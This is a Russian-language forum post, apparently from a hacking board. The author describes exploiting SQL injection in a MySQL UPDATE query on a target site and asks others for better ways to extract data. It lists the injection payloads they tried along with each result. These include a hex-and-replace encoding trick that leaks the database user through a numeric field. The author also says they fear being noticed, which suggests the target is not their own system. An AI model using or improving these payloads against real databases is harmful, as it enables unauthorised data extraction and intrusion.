Всем привет!
В UPDATE(MySQL) есть sqlinj. Как наиболее эффективно ей воспользоваться.
Есть кое какие ограничения:
-вывода ошибки нет, только алерт, что ошипке
-в поле зависать можно только число(если сделать подстановку)
Что пробовал:
Код:
Code:
'+(select(user()))+'
результат -
пусто
Код:
Code:
a'+(select(user()))+'b
результат -
пусто
Код:
Code:
1'+(select(3))+'2
результат
6
Код:
Code:
1'+(select('c'))+'2
результат
3
Код:
Code:
a'+(select('3'))+'b
результат
3
Код:
Code:
1'+(select(version()))+'2
результат -
8.1
Конечно можно blind'ануть, но придумал такой вариант:
Код:
Code:
'+(select(Replace(Replace(Replace(Replace(Replace(Replace(hex(user()),'F','006'),'E','005'),'D','004'),'C','003'),'B','002'),'A','001')))+'
Если текст небольшой,
результат -
00419100400021004182
иначе -
4.19100400021004e+17
По сравнению с blind'ом, вариант лучше, но и здесь есть минусы, т.к. при обратной конвертации
4.19100400021004e+17 дает 00
419100400021004000
Еще была мысль закомментить оставшуюся часть запроса и update'нуть другое поле, но опасаюсь засветиться, т.к. хз что в where. Хотя по косвенным признакам можно id вытянуть, но боюсь он не цифровой.
Есть еще предложения, что можно сделать?